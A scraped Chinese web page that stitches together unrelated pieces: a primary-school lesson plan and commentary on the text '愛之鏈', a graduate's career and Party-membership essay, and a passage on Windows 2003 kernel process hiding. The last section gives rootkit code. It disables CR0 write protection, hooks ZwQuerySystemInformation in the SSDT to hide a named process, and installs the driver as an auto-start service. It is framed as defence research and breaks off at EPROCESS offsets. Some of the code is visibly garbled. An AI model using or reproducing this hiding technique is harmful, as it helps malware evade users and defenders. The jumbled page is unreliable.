提示:(1)注意故事的連續性;
(2)注意細節描寫,抓住人物的對話、表情和動作等;
(3)注意構思的巧妙性,與課文情節發展能夠吻合。
(4)要升華“愛”的主題。
? 內核通知鏈
一、教學目標:
1、聯系課文內容,理解最后一句話的意思。
2、能正確、流利、有感情地朗讀課文。學習通過描寫人物的神態、動作和語言來表現人物的品質的寫法。
3、憑借課文的語言文字,讓學生充分感悟人與人之間情誼與關愛的可貴,知道當別人需要幫助的時候,應該給予無私的幫助,體會奉獻愛心終將獲得愛心回報的道理。
二、教學過程
一、激情導入
1、師:同學們,先請大家看老師寫一個字(板書一大大的繁體“愛”字),認識嗎?認真觀察它的字形,比較和簡體的“愛”最大的區別(“心”), 真細心,那你認為什么是愛?或者說你在生活中見到過哪些愛?愛是人類永恒的主題,在你的記憶深處一定有不少關于愛的詞語、句子、名言,能和大家交流交流嗎?
師:板書“鏈”,請同學們用“鏈”組詞。
師:引出課題“愛之鏈”。(板書課題)
2、這節課就讓我們一起走進愛的故事去細細品味一下這根愛的珠鏈上那感人的一幕幕。
3、請用簡潔的語言說說課文是由哪幾個關愛的故事鏈接起來的?
二、民主導學
(一)、學習課文1---8自然段
1、(出示)在一個風雪交加的黃昏,寒風挾裹著雪花紛紛揚揚地飄落下來。一條鄉間公路伸向遠方。這里看不見汽車,更沒有人影,一切顯得是那么寂靜、荒涼。一位老婦人的車在這拋錨了,此刻她的內心會是怎樣的?請你自己讀一讀課文第2到8自然段。
(1)全班交流。
(2)誰愿意通過朗讀把老婦人此刻內心的絕望、害怕表達出來?(指讀——齊讀)
2、(出示)盡管老婦人此時幾乎完全絕望了,但她的內心始終在期望著有人來幫她一把。這時,喬依駕駛著他那輛破汽車來到了老婦人面前,看到這一切,他怎么做的?請你自己去文中找一找、讀一讀。
(1)(出示第三自然段)你從喬依安慰老婦人的話中體會到什么?
(2)這幾句話如暖風吹拂過老婦人的心田,誰還愿意來讀一讀?(3)(出示第四自然段)喬依是怎樣為老婦人修車的?靜心默
讀這一段,讓自己的心與文字一起跳動,在書上圈圈畫畫,把你的一份理解、一份感受用一個字、一個詞、一句話記錄下來。
(4)如果你就是那位老婦人,看到這一切,你的內心涌動著怎樣的情感?你眼中的喬依是怎樣一個人?(感激,感動。助人為樂,熱情,真誠)
3、所以,老婦人一邊打開錢包,一邊問:“我該給你多少錢?”言下之意就是——你要多少錢,我就給你多少錢。老婦人覺得只有這樣,才能表達自己的感激之情。
4、(出示第六自然段)請同學們讀讀這段話,相信你讀了這段話,對喬依會有更深刻的認識,對喬依的行為會有新的理解。(齊讀)
(1)理解:“天經地義”什么意思?(理所當然,不容質疑)
(2)多么質樸,多么感動的想法啊。請你帶著這份感動再讀第六自然段。(齊讀)
5、小結:在喬依困難的時候,他曾經得到過別人愛的幫助,所以當他看到被困雪地,孤立無助的老婦人需要幫助時,不容質疑地伸出援助之手。他不求報酬,只希望老婦人也能把悠悠愛心傳遞給需要幫助的人。老婦人完成喬依的這個心愿了嗎?
(二)、學習課文9---11自然段
那么老婦人是怎么做的呢?請自學9—11自然段,并完成下面
的填空。(同學們,會讀書的同學還能將一段話、幾段話讀成一句話。)
1、(出示填空題)來到了小餐館,老婦人看到(),
突然想起了(),于是()。
提示:她還看到了什么?還會想起什么?你可以結合前文,也可以展開想象,自己先練習說一說,同桌互說,再全班交流。
2、讓我們再次回到那簡陋但溫馨的小餐館去感受這動人的故事,請一個讀書最好的同學讀。
(三)、學習12自然段
1、引讀:關上店門,女店主走進里屋……
2、(出示句子)她輕輕地親吻著丈夫那粗糙的臉頰,喃喃地說:
“一切都會好起來的,親愛的,喬依……”
3、從女店主的話中你讀懂了什么?
4、小結:你們看,喬依幫助了老婦人,老婦人幫助了女店主,
喬依幫助了別人,其實就是幫助了自己。只要你付出了關愛,也必定會得到別人的關愛。每個人的愛都在傳遞,在延續,這就是一根愛的鏈條,這就是一條——愛之鏈(生齊讀)。
(四)、總結課文
1、回憶課文內容,說說課文為什么用“愛之鏈”作題目?(小
組討論)
2、播放歌曲《愛的奉獻》。
3、結束語: 同學們“愛”,上面是手,中間是心,下面也是手。愛是什么?手捧一顆真心,輕輕地放在別人的手上,這就是愛。同學們,當我們享受著愛的陽光,呼吸著愛的芬芳,你是否曾想過也把這份愛傳遞給別人呢?真心希望我們都能成為愛之鏈中的一環,讓愛的金鏈永遠不斷!
三、檢測導結
1、愛是雨天里的一把傘,愛是(),愛是(),愛是()……
2、以“喬依醒來……”為開頭,展開想象寫一段話。
《愛之鏈》教學反思
《愛之鏈》這篇課文并不是特別深奧難懂,通過喬依幫助老婦人,老婦人幫助喬依這兩件事情,說明愛是可以延續,可以傳遞的。只要人人都付出一點愛,世界會更美好。
雖說是六年級的孩子,已經有了一定的自學能力,但是,在有些關鍵的地方,還是需要老師的引導。老師是引導者,是平等中的首席,當學生在學習中遇到了靠自己的力量難以獨立解決的問題,老師就應該站出來,及時地教給方法,及時地指引道路。
課文的主人公不僅僅是喬依,這也不是一篇寫人的文章,課文主要還是寫了兩個“幫助”的小故事。第二個片段則從事情本身入手,先找出具體寫喬依幫助老婦人的段落,再圍繞“讀了這一段,你感受深刻的是什么”來交流。第二個片段換了個角度,從“喬依幫助老婦人修車”這件事入手,引導學生交流感受。我覺得第二個片段的可取之處在于,由“扶”到“放”,滲透方法。 通過學生的自學,讓學生完成填空練習,從而,對課文內容就有了進一步的理解。進一步體會到老婦人幫助女店主,這是一種愛的接力,又形成了一個愛的鏈子。學生積極參與此次活動,都能抓住主要內容完成練習,填的很好。
“一切都會好起來的,親愛的,喬依……”從女店主的這句話,可以體會到他們對生活得樂觀態度。但是,他們對生活充滿了希望,有這樣的心態,生活肯定會好起來的。也有的學生聯想到了其他人,如果每個人都付出自己的關愛,世界會變得更加美好。此時,老師再點題:喬依幫助了老婦人,老婦人幫助了女店主,喬依幫助了別人,其實就是幫助了自己。只要你付出了關愛,也必定會得到別人的關愛。每個人的愛都在傳遞,在延續,這就是一根愛的鏈條,這就是一條——愛之鏈。這樣就顯得水到渠成了。
? 內核通知鏈
已離開學校幾個月了,初入社會,內心有很多的感觸,感慨。在學校里學到的東西對我的工作生活有很多的幫助,我內心感慨的同時,更多的是對學校系部對我的培養的感謝。
離開學校后的生活跟在學校有太大的不同,剛離開學校,內心是迷茫的,不知道自己該何去何從,心情也是不平靜的,狀態急需調整。
作為一名高校大學生,對于就業擇業問題,我覺得個人的職業規劃很重要。職業規劃的就是從現在就開始做起,使未來更成功。著手現在,是一種腳踏實地的實干奮進的人生態度。規劃未來,是一種高瞻遠矚的戰略眼光。每個人都有不同的特征,在性格方面也各有差異,這就使得職業規劃具有針對性和有效性,是大學生活中必不可少的環節之一。職業規劃不僅是對未來就業的指導,更是在鞭策我們該怎么度過大學生活。目標已經在前方,每一天我們都會有新的任務,新的使命,讓每一天的我們都站在夢想的路途,今天的一小步堅持或許會是明天的一大步飛躍。
在工作中,作為一名大學生,應該具有團隊創新精神的意識,加強對實際知識的學習,更多關注社會變化,培養對社會問題的思考。我深入考慮過在校期間為何要加入中國共產黨。如果在校期間有幸加入中國共產黨,我在今后的就業過程中,想憑借自己的理想,自己的創新能力與精神品格去應聘,而不是靠關系。此外,經過這段時間的黨校培訓我受益匪淺。雖然我已順利結業,但它并不意味著學習的終止。在以后的道路上我將沿著黨指引的正確方向實現自己的世界觀、價值觀,我為自己能靠近黨組織而跨出第一步感到十分驕傲,也為自己的表現能被黨組織認同而高興,同時更是對我以后學習工作的促進和鼓勵。希望有一天,我真正擁有她一神圣的紅五星,為她的光彩付出自己的一份責任。
人們都說逆風的方向,更適合飛翔,在如今尤其艱難的就業環境中,我們唯有先進行職業規劃,結合自身性格優勢分析自身就業方向,再端正就業態度,在實習中努力補充完善自己,才會有成功的那天。
看了如何以自己的實際行動爭取早日加入黨組織還看了:
? 內核通知鏈
課文《愛之鏈》是一首愛的贊歌,文章極其細膩地描寫了發生在一個嚴寒的冬夜里的充滿愛的故事。作者字里行間稱頌著人間的友愛互助——當別人需要幫助的時候,應該伸出熱情的手。
周老師的這節課在設計上,給我們留下了深刻的印象——長文短教,圍繞愛的鏈條,探討主要環節。
首先,“你還記得課文主要講了哪兩件事?”讓學生進入愛的珠鏈上感人的一幕幕。
接著,帶領學生交流文章中的動人畫面:
1、一位老婦人的車在這拋錨了,此刻她的內心是怎樣的?(以讀代講)
2、喬依是怎樣為老婦人修車的?還有哪些段落的描寫也反映出喬依的為人?(此處絕不惜時,讓學生充分自讀自悟)
3、引讀6、7自然段,即當喬依修好車,老婦人滿懷感激地打開錢包時的一段對話。(此處不費時,直接點明——不容質疑)
4、學習“老婦人幫助女店主”一段時,學生讀文后完成填空:
來到了小餐館,老婦人看到
突然想起了
于是
這樣設計,精簡省時,又能啟發學生前后聯系課文,深入思考,為理解“愛之鏈”作了鋪墊。
5、引讀女店主進房間后對喬依說的話。(能讀懂的不作繁瑣分析,一讀而過)
6、課文為什么用“愛之鏈”作題目?(題目是文章的靈魂,從內容回到文題,幫助學生體會中心。)
整節課的設計,直奔中心和重點,“省時高效”,值得我們學習借鑒。
我的思考——在挖掘人文內涵的同時,怎樣更多更好地為學生提供表達感受,運用語言的平臺,實現“工具性”和“人文性”的和詣統一?
聽課時,腦子里零星閃過幾處地方的處理,不知可否:
l“你還記得課文主要講了哪兩件事?”(這時讓學生敘述喬依修車、婦人幫助店主的情節,可有感情地朗讀原文,也可鼓勵他們靈活地將自己的語言,加上課文中的詞句來表達。)
l——“喬依,你與老婦人素不相識,你為什么這樣做?”
——“喬依,你目前不需要錢?難道這筆錢你不能接受?”
(進行這樣的“人物采訪”能促使學生前后聯系,文本內容與生活經驗、個人看法相聯系,深入體會喬依的為人。)
l“想象一下,你就是不求回報的喬依,你就是那位受助的老婦人,將要分別,你們會說些什么?
(創編對話,讓學生關注文本語言的同時,創造性地運用文本語言。)
l進一步探究:僅僅由喬依、老婦人、女店主之間的相互關愛就能形成這條愛之鏈嗎?
(以《因為愛》這首歌為背景音樂,展現同學們常見的,熟識的表現“人間真愛”的一幅幅畫面,繼而讓學生說說自己的“耳聞目睹”。)
小結提升:世上許許多多的“喬依”,串起了愛之鏈……
l創編關于愛的格言
(學生根據自身的閱讀感受創編格言,是真正的“情感內化”。)
我想,我們只要用法得當,在兼顧工具性的時候,不會淡化人文的,融合得好,會讓愛更深,讓鏈更長的。
沒有完美的課堂,我們的目標是無限的接近完美。讓我們共同努力吧。
? 內核通知鏈
Windows2003 內核級進程隱藏、偵測技術
論文關鍵字: 內核 攔截 活動進程鏈表 系統服務派遣表 線程調度鏈 驅動程序簡介??
論文摘要:信息對抗是目前發展的一個重要的方向,為了更好的防御,必須去深入的了解敵人進攻的招式。信息對抗促使信息技術飛速的發展。下面我選取了信息對抗技術的中一個很小一角關于windows內核級病毒隱藏技術和反病毒偵測技術作為議題詳細討論。
1.為什么選驅動程序
驅動程序是運行在系統信任的Ring0下在代碼,她擁有對系統任何軟件和硬件的訪問權限。這意味著內核驅動可以訪問所有的系統資源,可以讀取所有的內存空間,而且也被允許執行CPU的特權指令,如,讀取CPU控制寄存器的當前值等。而處于用戶模式下的程序如果試圖從內核空間中讀取一個字節或者試圖執行像MOV EAX,CR3這樣的匯編指令都會被立即終止掉。不過,這種強大的底線是驅動程序的一個很小的錯誤就會讓整個系統崩潰。所以對隱藏和反隱藏技術來說都提供了一個極好的環境。但是又對攻擊者和反查殺者提出了更高的技術要求。
2.入口例程DriverEntry
DriverEntry是內核模式驅動程序主入口點常用的名字,她的作用和main,WinMain,是一樣的。
extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{...}
DriverEntry的第一個參數是一個指針,指向一個剛被初始化的驅動程序對象,該對象就代表你的驅動程序,DriverEntry的第二個參數是設備服務鍵的鍵名。DriverEntry函數返回一個NTSTATUS值。NTSTATUS實際就是一個長整型,但你應該使用NTSTATUS定義該函數的返回值而不是LONG,這樣代碼的可讀性會更好。大部分內核模式支持例程都返回NTSTATUS狀態代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。
DriverEntry的作用主要就是創建設備對象,建立設備對象的符號鏈接,設置好各個類型的回調函數等。
例如:
extern "C"
NTSTATUS
DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
?DriverObject->DriverUnload = DriverUnload;??????????????????????????????????????????????????? ???????? <--1
?DriverObject->DriverExtension->AddDevice = AddDevice;
?DriverObject->DriverStartIo = StartIo;
?DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp;??????????????????????????????????????? <--2
?DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower;
?DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi;
?...
}
在WDM中通過設置AddDevice回調函數來創建設備對象。在NT驅動中在DriverEntry例程中創建設備對象和符號鏈接。
例如:
RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化設備名字
//創建設備
ntStatus = IoCreateDevice (DriverObject, ????
??????????????????????????? 0,
??????????????????????????? &deviceNameUnicodeString,
??????????????????????????? ##DeviceId,
??????????????????????????? 0,
??????????????????????????? FALSE,
??????????????????????????? &deviceObject
??????????????????????????? );
if ( NT_SUCCESS ( ntStatus ) ) ?{
??? RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符號鏈接名字
//創建符號鏈接
??? ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);
??? if ( !NT_SUCCESS ( ntStatus ) ) {
??????? IoDeleteDevice (deviceObject); //如果創建符號鏈接失敗,刪除設備
??????? ???? return ntStatus;
}
}
建立符號鏈接的作用就是暴露一個給應用程序的接口,應用程序可以通過CreateFile API打開鏈接符號,得到一個語柄,和我們的驅動程序進行交互操作。
3.Unload例程
雖然各個驅動程序的Unload例程不盡相同,但是它大致執行下列工作:
釋放屬于驅動程序的任何硬件。
從Win32的名字空間移除符號連接名。
這個動作可以調用IoDeleteSymbolicLink來實現。
使用IoDeleteDevice移除設備對象。
釋放驅動程序持有的任何緩沖池等。
VOID DriverUnload (?IN PDRIVER_OBJECT pDriverObject )
{
PDEVICE_OBJECT pNextObj;
// 循環每一個驅動過程控制的設備
pNextObj = pDriverObject->DeviceObject;
while (pNextObj != NULL)
{
//從設備對象中取出設備Extension
PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;
// 取出符號連接名
UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;
IoDeleteSymbolicLink(&pLinkName); //刪除符號連接名
IoDeleteDevice(pNextObj); // 刪除設備
pNextObj = pNextObj->NextDevice;
}
}
4. 派遣例程
Win2000的I/O請求是包驅動的,當一個I/O請求開始,I/O器先創建一個IRP去跟蹤這個請求,另外,它存儲一個功能代碼在IRP的I/O堆棧區的MajorField域中來唯一的標識請求的類型。MajorField域是被I/O管理器用來索引驅動程序對象的MajorFunction表,這個表包含一個指向一個特殊I/O請求的派遣例程的功能指針,如果驅動 程序不支持這個請求,MajorFunction表就會指向I/O器函數_IopInvalidDeviceRequest,該函數返回一個錯誤給原始的調用者。驅動程序的作者有責任提供所有的驅動程序支持的派遣例程。所有的驅動程序必須支持IRP_MJ_CREATE功能代碼,因為這個功能代碼是用來響應Win32用戶模式的CreateFile調用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設備的句柄,類似的,驅動程序必須支持IRP_MJ_CLOSE功能代碼,因為它用來響應Win32用戶模式的CloseHandle調用。順便提一下,系統自動調用CloseHandle函數,因為在程序退出的時候,所有的句柄都沒有被關閉。
?static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
??? NTSTATUS status;
??? PIO_STACK_LOCATION irpSp;
??? //得到當前IRP (I/O請求包)
??? irpSp = IoGetCurrentIrpStackLocation( Irp );
??? switch (irpSp->MajorFunction)
??? {
??????? case IRP_MJ_CREATE:
??????????? DbgPrint("IRP_MJ_CREATE\n");
??????????? Irp->IoStatus.Status = STATUS_SUCCESS;
??????????? Irp->rmation = 0L;
??????????? break;
??????? case IRP_MJ_CLOSE:
??????????? DbgPrint("IRP_MJ_CLOSE\n");
??????????? Irp->IoStatus.Status = STATUS_SUCCESS;
??????????? Irp->rmation = 0L;
??????????? break;
??? }
??? IoCompleteRequest(Irp, 0);
??? return STATUS_SUCCESS;
}
大部分的I/O管理器的操作支持一個標準的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴展的I/O請求,使用用戶模式的DeviceIoControl函數來調用,I/O管理器創建一個IRP,這個IRP的MajorFunction和IoControlCode是被DeviceIoControl函數指定其內容。傳遞給驅動程序的IOCTL遵循一個特殊的結構,它有32-bit大小,DDK包含一個方便的產生IOCTL值的機制的宏,CTL_CODE??梢允褂肅TL_CODE宏來定義我們自己的IOCTL。
例如:
#define IOCTL_MISSLEDEVICE_AIM ?CTL_CODE \
( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )
?NTSTATUS DispatchIoControl(?IN PDEVICE_OBJECT pDO, IN PIRP pIrp )
{
??? NTSTATUS status = STATUS_SUCCESS;?????
??? PDEVICE_EXTENSION pDE;
??? PVOID userBuffer;
??? ULONG inSize;
??? ULONG outSize;
??? ULONG controlCode;???????????????? // IOCTL請求代碼
??? PIO_STACK_LOCATION pIrpStack;?? //堆棧區域存儲了用戶緩沖區信息
???? pIrpStack = IoGetCurrentIrpStackLocation( pIrp );
??? // 取出IOCTL請求代碼
??? controlCode = pIrpStack->?Parameters.DeviceIoControl.IoControlCode;
??? // 得到請求緩沖區大小
??? inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength;
??? OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;
??? //現在執行二次派遣
??? switch (controlCode)
??? {
??? ??? case IOCTL_MISSLEDEVICEAIM:
?????? ......
??????? case IOCTL_DEVICE_LAUNCH:
??????? ......
??????? default:??? // 驅動程序收到了未被承認的控制代碼
??????? status = STATUS_INVALID_DEVICE_REQUEST;
??? }
??? pIrp->rmation = 0;?// 數據沒有傳輸
??? IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;?????
??? return status;
}
5.驅動程序的安裝
??? SC管理器(即服務控制管理器)可以控制服務和驅動程序。
??? 加載和運行一個服務需要執行的典型操作步驟:
??? 1.調用OpenSCManager()以獲取一個管理器句柄
??? 2.調用CreateService()來向系統中添加一個服務
??? 3.調用StartService()來運行一個服務
??? 4.調用CloseServiceHandle()來釋放管理器或服務句柄
?BOOL??? InstallDriver()
{
??? SC_HANDLE hSCManager = NULL;
??? hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
??? if(hSCManager == NULL)
??? {
fprintf(stderr, "OpenSCManager() failed. --err: %d\n", GetLastError());
??????? return FALSE;
??? }
??? SC_HANDLE?schService;
schService = CreateService( hSCManager, //SCManager database
?????????????????????????? "MyDriver",??????????? ?// name of service
??????????????????????????? "MyDriver",???????????? // name to display
?????????????????????????? SERVICE_ALL_ACCESS,???? // desired access
?????????????????????????? SERVICE_KERNEL_DRIVER,?? // service type
????????????????????????? ??SERVICE_AUTO_START,??? // start type
??????????????????? SERVICE_ERROR_NORMAL, // error control type
??????????????????????????? DriverPath,????????????? // service's binary
??????????????????????????? NULL,??????????????? ?// no load ordering group
??????????????????????????? NULL,??????????????????? // no tag identifier
??????????????????????????? NULL,??????????????????? // no dependencies
??????????????????????????? NULL,??????????????????? // LocalSystem account
??????????????????????????? NULL???????????????????? // no password
??????????????????????????? );
??? if (schService == NULL)
??? {
??????? if(GetLastError() == ERROR_SERVICE_EXISTS)
??????? {
??????????? printf("Service has already installed!\n");
??????? }
??????? printf("Install driver false!");
??????? return FALSE;
??? }
??? BOOL??? nRet = StartService(schService, 0, NULL);
??? if(!nRet)
??? {
????? if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
??????? {
??????? ??? printf("Service is already running!\n");
??????????? return FALSE;
??????? }
??? }
CloseServiceHandle(schService);
??? CloseServiceHandle(hSCManager);
??? return TRUE;
}
以上對驅動程序大致框架做了一個非常簡單的介紹,這僅僅是驅動程序中的一個”Hello World!”。驅動程序是相當復雜的,由于我們只是利用驅動程序的特權,對windows內核進行修改,所以就不對驅動驅動程序進行深入討論了。
通過Hook SSDT (System Service Dispath Table) 隱藏進程
1.原理介紹:
Windows操作系統是一種分層的架構體系。應用層的程序是通過API來訪問操作系統。而API又是通過ntdll里面的核心API來進行系統服務的查詢。核心API通過對int 2e的切換,從用戶模式轉換到內核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數KiSystemService()來實現的。在你使用了一個系統調用時,必須首先裝載要調用的函數索引號到EAX寄存器中。把指向參數區的指針被保存在EDX寄存器中。中斷調用后,EAX寄存器保存了返回的結果。KiSystemService()是根據EAX的值來決定哪個函數將被調用。而系統在SSDT中維持了一個數組,專門用來索引特定的函數服務地址。在Windows 2000中有一個未公開的由ntoskrnl.exe導出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應于一個數據結構,定義如下:
typedef struct SystemServiceDescriptorTable
{
????UINT????*ServiceTableBase;
????UINT????*ServiceCounterTableBase;
????UINT????NumberOfService;
????UCHAR????*ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;
其中ServiceTableBase指向系統服務程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數地址,它們都包含了NumberOfService這么多個數組單元。在windows 2000 sp4中NumberOfService的數目是248個。
我們的任務器,是通過用戶層的API來枚舉當前的進程的。Ring3級枚舉的方法:
? PSAPI
– EnumProcesses()
? ToolHelp32
– Process32First()
- Process32Next()
來對進程進行枚舉。而她們最后都是通過NtQuerySystemInformation來進行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數進行添加或者是刪改,就能有效的欺騙上層API。從而達到隱藏特定進程的目的。
2. Hook
Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數的地址,就完成了Hook。
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;
在其他系統中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《Undocument Nt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導出的 ZwQuerySystemInformation中包含有索引號的'硬編碼:
kd> u ZwQuerySystemInformation
804011aa??? b897000000????? mov ??????? eax,0x97
804011af??? 8d542404?????? ?lea???????? edx,[esp+0x4]
804011b3??? cd2e??????????? int ??????? 2e
804011b5??? c21000????????? ret ??????? 0x10
所以只需要把ZwQuerySystemInformation入口處的第二個字節取出來就能得到相應的索引號了。例如:
ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;
3.對NtQuerySystemInformation返回的數據進行刪改
NtQuerySystemInformation的原型:
NtQuerySystemInformation(
??????? IN ULONG SystemInformationClass,?? //查詢系統服務類型
??????? IN PVOID SystemInformation,??????? //接收系統信息緩沖區
???? IN ULONG SystemInformationLength,?? //接收信息緩沖區大小 ??????? OUT PULONG ReturnLength);?? ??? //實際接收到的大小
NtQuerySystemInformation可以對系統的很多狀態進行查詢,不僅僅是對進程的查詢,通過SystemInformationClass號來區分功能,當SystemInformationClass等于5的時候是在進行進程的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結構。
struct _SYSTEM_PROCESSES
{
??? ULONG NextEntryDelta;?? //下一個進程信息的偏移量,如果為0表示無一個進程信息
??? ULONG ThreadCount; ??? //線程數量
??? ULONG Reserved[6]; ??? //
??? LARGE_INTEGER CreateTime;????? //創建進程的時間
??? LARGE_INTEGER UserTime; ??? ??? //進程中所有線程在用戶模式運行時間的總和
??? LARGE_INTEGER KernelTime; ???? //進程中所有線程在內核模式運行時間的總和
??? UNICODE_STRING ProcessName; ??? //進程的名字
??? KPRIORITY BasePriority; ??? ??? //線程的缺省優先級
??? ULONG ProcessId; ?????? ??????? //進程ID號
??? ULONG InheritedFromProcessId; ?//繼承語柄的進程ID號
??? ULONG HandleCount; ???? ??????? //進程打開的語柄數量???
??? ULONG Reserved2[2]; ??????? ??? //?
??? VM_COUNTERS VmCounters; ??? ??? //虛擬內存的使用情況
??? IO_COUNTERS IoCounters; ??? ??? //IO操作的統計,Only For 2000
??? struct _SYSTEM_THREADS Threads[1];?//描述進程中各線程的數組
};
當NextEntryDelta域等于0時表示已經到了進程信息鏈的末尾。我們要做的僅僅是把要隱藏的進程從鏈中刪除。
4. 核心實現
//系統服務表入口地址
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
??? ……
??? __asm{
??????? mov eax, cr0
??????? mov CR0VALUE, eax
??????? and eax, 0fffeffffh?//DisableWriteProtect
??????? mov cr0, eax
??? }
??? //取得原來ZwQuerySystemInformation的入口地址
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );
??? //Hook
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;
??? //EnableWriteProtect
??? __asm
??? {
??????? mov eax, CR0VALUE
??????? mov cr0, eax
??? }
??? ……
??? return STATUS_SUCCESS;
}
??
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
??? ……
??? //UnHook恢復系統服務的原始入口地址
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;
??? ……
}
??
NTSTATUS HookFunc(
??????? IN ULONG SystemInformationClass,
??????? IN PVOID SystemInformation,
??????? IN ULONG SystemInformationLength,
??????? OUT PULONG ReturnLength)
{
??? NTSTATUS rc;
??? struct _SYSTEM_PROCESSES *curr;
??? // 保存上一個進程信息的指針
??? struct _SYSTEM_PROCESSES *prev = NULL;
??? //調用原函數
??? rc = (RealZwQuerySystemInformation) (
??????? SystemInformationClass,
??????? SystemInformation,
??????? SystemInformationLength, ReturnLength);
??? if(NT_SUCCESS(rc))
??? {
if(5 == SystemInformationClass)
//如果系統查詢類型是SystemProcessesAndThreadsInformation
??????? {
??????????? curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
??????????? //加第一個偏移量得到第一個system進程的信息首地址
??????????? if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
??????????? while(curr)
??????????? {
if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)
??????????????? {
??????????????????? //找到要隱藏的進程
??????????????????? if(prev)
??????????????????? {
???????????????????????
??????????????????????? if(curr->NextEntryDelta)
??????????????????????? {
??????????????????????????? //要刪除的信息在中間
??????????????????????????? prev->NextEntryDelta += curr->NextEntryDelta;
??????????????????????? }
??????????????????????? else
??????????????????????? {
??????????????????????????? //要刪除的信息在末尾
??????????????????????????? prev->NextEntryDelta = 0;
??????????????????????? }
??????????????????? }
??????????????????? else
??????????????????? {
??????????????????????? if(curr->NextEntryDelta)
??????????????????????? {
??????????????????????????? //要刪除的信息在開頭
??????????????????????????? (char *)SystemInformation += curr->NextEntryDelta;
??????????????????????? }
??????????????????????? else
??????????????????????? {
??????????????????????????? SystemInformation = NULL;
??????????????????????? }
??????????????????? }
??????????????????? //如果鏈下一個還有其他的進程信息,指針往后移
??????????????? ??? if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta); ?????????????????? else
??????????????? ??? {
??????????????????????? curr = NULL;
??????????????????????? break;
??????????????????? }
??????????????? }
??????????????? if(curr != NULL)
??????????????? {
??????????????????? //把當前指針設置成前一個指針,當前指針后移
??????????????????? prev = curr;
??????? ??????????? if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);
??????????????????? else curr = NULL;
??????????????? }
??????????? } // end while(curr)
??????? }
??? }
??? return rc;
}
通過IOCTL和Ring3級的應用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,
DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,
NULL,0,& BytesReturned,NULL)來通知驅動程序要隱藏的進程的名字。
枚舉和修改活動進程鏈表來檢測和隱藏進程
1.?介紹EPROCESS塊(進程執行塊)
每個進程都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了進程相關了很多信息,還有很多指向其他相關結構數據結構的指針。例如每一個進程里面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統空間中的。 ?
2. 查看EPROCESS結構
kd> !processfields
!processfields
?EPROCESS structure offsets:
??? Pcb:?????????????????????????????? 0x0
??? ExitStatus:??????????????????????? 0x6c
??? LockEvent:???????????????????????? 0x70
??? LockCount:???????????????????????? 0x80
??? CreateTime:??????????????????????? 0x88
??? ExitTim e:????????????????????????? 0x90
??? LockOwner:????????????????????? ???0x98
??? UniqueProcessId:?????????????????? 0x9c
??? ActiveProcessLinks:??????????????? 0xa0
